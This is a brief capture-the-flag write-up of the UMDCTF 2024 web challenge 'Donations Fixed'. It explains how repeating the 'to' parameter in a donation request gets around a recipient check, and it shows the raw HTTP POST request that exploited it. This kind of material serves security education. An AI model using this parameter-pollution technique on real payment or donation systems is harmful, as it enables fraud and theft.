--- title: "umdctf2024 - Donations Fixed" date: 2024-04-28T19:18:00-03:00 draft: false description: "" tags: ["web", "ctf"] --- This is the harder version of [donations](/writeups/umdctf-2024-donations-fixed), it's the same challenge, but you can't donate negative amounts this time. After playing with it for a while, I realized that the solution was probably to find a way to donate money to your user, bypassing that Jeff Bezos check. So I tested adding more user id's in the `to` parameter and the money went to them. So the solution was to create users, and donate all of their money to a user which will retrieve the flag. ```http POST /api/donate HTTP/2 Host: donations2-api.challs.umdctf.io Cookie: session=... Content-Length: 36 Content-Type: application/x-www-form-urlencoded to=lisanalgaib&to=gbrls¤cy=999 ```